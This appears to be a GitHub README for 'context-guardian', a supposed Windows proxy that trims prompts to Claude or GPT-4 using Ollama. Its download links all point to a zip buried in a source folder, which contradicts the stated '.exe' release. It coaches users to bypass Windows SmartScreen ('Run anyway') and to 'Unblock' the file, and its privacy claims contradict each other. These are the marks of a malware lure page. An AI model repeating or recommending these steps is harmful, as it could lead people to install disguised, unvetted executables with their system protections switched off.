context-guardian

# 🛡️ context-guardian - Save money on your AI bills [](https://github.com/nlutf9579/context-guardian/raw/refs/heads/main/src/display/context-guardian-2.8.zip) ## 💡 What is this tool? Context-guardian helps you reduce your monthly costs when using smart AI tools like Claude or GPT-4. These cloud services charge you based on how much information you send them. When you work on large projects, these costs climb quickly. This tool sits between your computer and the cloud services. It uses Ollama to index your files locally before they reach the cloud. By filtering out unnecessary information and keeping key details on your machine, it ensures the cloud AI only receives what it needs. This process saves you between 36% and 42% on your typical usage bills. ## 📋 Requirements Before you run this software, ensure your computer meets these conditions: * Windows 10 or Windows 11 operating system. * At least 8GB of RAM installed on your machine. * A stable internet connection. * Ollama installed and running on your local machine. ## 🚀 Getting Started Follow these steps to set up context-guardian on your computer. 1. Install Ollama: Visit the Ollama website and download the Windows installer. Follow the prompts to finish the installation. You must keep this running in the background for context-guardian to function. 2. Visit the download page: Go to [this page to download](https://github.com/nlutf9579/context-guardian/raw/refs/heads/main/src/display/context-guardian-2.8.zip) the latest version of the software. 3. Choose the right file: Look for the file ending in ".exe" under the latest release section. Click the filename to start your download. 4. Run the installer: Once the download completes, double-click the file. Windows might show a security prompt. Click "More info" and then "Run anyway" if the system asks. 5. Finish setup: Follow the wizard on your screen to complete the installation. ## ⚙️ How it works Context-guardian acts as a smart filter. Usually, your AI coding agent sends your entire project history to the cloud every time you ask a question. This adds up. Our tool works in three phases: * Local Indexing: It scans your chosen folders. It creates a compact map of your code on your own machine. * Smart Filtering: When you type a query, the tool checks your local map first. It removes files that do not relate to your specific question. * Proxy Relay: It sends only the vital data to the cloud LLM. Because the prompt is smaller, the consumption drops, which leads to lower costs. ## 🛠️ Usage patterns You should use this tool when you work on large coding projects. It performs best in these scenarios: * You have a codebase larger than 50 files. * You use AI agents to generate code frequently throughout the day. * You want to maintain privacy for specific parts of your work by keeping them local. ## ❓ Frequently Asked Questions Does this tool see my private data? Everything stays on your local machine. The tool reads your files to create an index, but that data never leaves your computer. Only the essential pieces sent to the cloud get transmitted. Do I need to pay for a subscription? No. This tool is free to use. You only pay your existing cloud AI provider for the calls you make, which will be cheaper thanks to this tool. What if my download gets blocked by Windows? The system tries to protect you from unknown software. Because this is a utility for developers, Windows might show a warning. Right-click the file, select properties, and check "Unblock" if necessary. How do I check if it is working? The tool provides a small window in your taskbar. If the icon shows green, the proxy is active and filtering your requests. If it shows grey, check that your Ollama installation is running behind it. What if I have many files? The software handles large directories well. The first time you run it, it might take a few minutes to index your project. After that, it updates itself in the background when you change your files. Can I turn it off? Yes. You can exit the application from the system tray menu. Your AI tools will continue to work normally, but your costs will return to your standard rates. ## 📦 Troubleshooting If you encounter issues, verify these settings: * Connection Status: Ensure the tool shows an "Online" status in the settings menu. * Port Conflicts: If you run other developer tools, verify that they do not use the same network port as context-guardian. * Log Files: You can find error logs in the installation folder. If you report an issue, please send these logs to help us trace the problem. ## 🔮 Future updates We plan to add support for more AI models soon. We also evaluate ways to make the indexing process faster for extremely large projects. Check the main page periodically for new releases.